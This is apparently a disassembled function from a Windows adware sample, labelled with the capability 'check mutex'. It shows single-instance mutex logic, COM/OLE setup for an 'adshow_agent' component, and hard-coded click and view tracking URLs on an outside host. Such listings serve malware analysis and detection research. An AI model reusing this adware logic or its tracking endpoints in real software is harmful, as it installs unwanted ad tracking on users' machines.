Function at 0x401270
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x492336
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x4b04dc]
xor eax, esp
mov dword [esp + 0x60], eax
push ebx
push esi
push edi
mov eax, dword [0x4b04dc]
xor eax, esp
push eax
lea eax, [esp + 0x78]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
push str.___kskjf_323sdf__agent.kjsd.kiss.me.
xor ebx, ebx
push ebx
push ebx
mov dword [esp + 0x20], ecx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4012d3
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call fcn.0041b1a0
add esp, 4
test byte [0x4b5d0c], 1
mov edi, 1
jne 0x401321
or dword [0x4b5d0c], edi
mov dword [esp + 0x80], ebx
call fcn.00414560
push 0x493380
call fcn.00476559
add esp, 4
mov dword [esp + 0x80], 0xffffffff
call fcn.0041d200
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call fcn.0041d6b0
push 0x4147b0
push 0x4b6110
call fcn.0041d730
push 0x414880
push 0x4b611c
call fcn.0041d730
call fcn.0041d360
test byte [0x4b644c], 1
jne 0x401370
or dword [0x4b644c], edi
push 0x4933a0
call fcn.00476559
add esp, 4
call fcn.004746d0
push ebx
call dword [sym.imp.ole32.dll_OleInitialize]
test eax, eax
js 0x401604
mov eax, 0xf
mov dword [esp + 0x4c], eax
mov dword [esp + 0x48], ebx
mov byte [esp + 0x38], bl
mov dword [esp + 0x80], edi
push edi
push 0x497808
lea ecx, [esp + 0x24]
mov dword [esp + 0x38], eax
mov dword [esp + 0x34], ebx
mov byte [esp + 0x24], bl
call fcn.00401a00
lea eax, [esp + 0x18]
push eax
lea eax, [esi + 0x10]
lea edi, [esp + 0x20]
mov byte [esp + 0x84], 2
call fcn.0046b5b0
mov ecx, dword [esp + 0x18]
cmp ecx, dword [esi + 0x14]
jne 0x4013df
mov byte [esp + 0x13], bl
jmp 0x4013f4
mov ecx, dword [ecx + 0x28]
push 0xffffffffffffffff
push ebx
push ecx
lea ecx, [esp + 0x44]
call fcn.00401910
mov byte [esp + 0x13], 1
mov edi, 0x10
mov byte [esp + 0x80], 1
cmp dword [esp + 0x30], edi
jb 0x401414
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.0047659a
add esp, 4
cmp byte [esp + 0x13], bl
jne 0x40142e
cmp dword [esp + 0x4c], edi
jb 0x401604
mov edx, dword [esp + 0x38]
push edx
jmp 0x4015fc
test byte [0x4b64d4], 1
jne 0x40144b
or dword [0x4b64d4], 1
push 0x4933b0
call fcn.00476559
add esp, 4
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x38]
add esi, 0x38
push eax
call fcn.00415d60
cmp al, bl
jne 0x40147b
cmp dword [esp + 0x4c], edi
jb 0x401473
mov ecx, dword [esp + 0x38]
push ecx
call fcn.0047659a
add esp, 4
or eax, 0xffffffff
jmp 0x401606
push esi
push ecx
call fcn.004017f0
add esp, 4
mov edi, eax
call fcn.00408c90
mov esi, dword [esp + 0x14]
mov eax, 0x401630
lea edx, [esp + 0x54]
mov dword [esp + 0x54], vtable.._AV___Impl_no_alloc0_U___Callable_obj_V___Bind_XXV___Bind1_U___Callable_pmf_Q8adshow_agent__AEXXZV1__0A__tr1_std__PAVadshow_agent___tr1_std___tr1_std___0A__tr1_std__X_tr1_std__.0
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], esi
mov dword [esp + 0x64], edx
add esi, 8
mov edi, edx
mov byte [esp + 0x80], 3
call fcn.00401090
call fcn.00401780
push 0x26
push str.http:__gg.9vh.net_index.php_click_id
lea ecx, [esp + 0x24]
mov edi, eax
mov dword [esp + 0x38], 0xf
mov dword [esp + 0x34], ebx
mov byte [esp + 0x24], bl
call fcn.00401a00
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x24]
push eax
lea ecx, [edi + 0x1c]
mov byte [esp + 0x8c], 4
call fcn.00401910
mov byte [esp + 0x80], 3
cmp dword [esp + 0x30], 0x10
jb 0x40151a
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.0047659a
add esp, 4
push 0x25
push str.http:__gg.9vh.net_index.php_view_id
lea ecx, [esp + 0x24]
mov dword [esp + 0x38], 0xf
mov dword [esp + 0x34], ebx
mov byte [esp + 0x24], bl
call fcn.00401a00
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x24]
push edx
mov ecx, edi
mov byte [esp + 0x8c], 5
call fcn.00401910
mov byte [esp + 0x80], 3
cmp dword [esp + 0x30], 0x10
jb 0x40156d
mov eax, dword [esp + 0x1c]
push eax
call fcn.0047659a
add esp, 4
mov ecx, edi
call fcn.00416680
call fcn.0043f290
call dword [sym.imp.ole32.dll_OleUninitialize]
mov ecx, dword [edi + 0x60]
push ecx
mov dword [edi + 0x64], 2
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov edi, dword [edi + 0x58]
push 0x2710
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call edi
mov edx, dword [esi + 0x20]
push edx
mov dword [esi + 0x24], 2
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, dword [esp + 0x14]
mov eax, dword [eax + 0x20]
push 0x2710
push eax
call edi
push ebx
call dword [sym.imp.USER32.dll_PostQuitMessage]
mov byte [esp + 0x80], 1
mov ecx, dword [esp + 0x64]
cmp ecx, ebx
je 0x4015f0
mov edx, dword [ecx]
mov edx, dword [edx + 0xc]
lea eax, [esp + 0x54]
cmp ecx, eax
setne al
movzx eax, al
push eax
call edx
mov dword [esp + 0x64], ebx
cmp dword [esp + 0x4c], 0x10
jb 0x401604
mov eax, dword [esp + 0x38]
push eax
call fcn.0047659a
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x78]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.00475dcc
mov esp, ebp
pop ebp
ret 4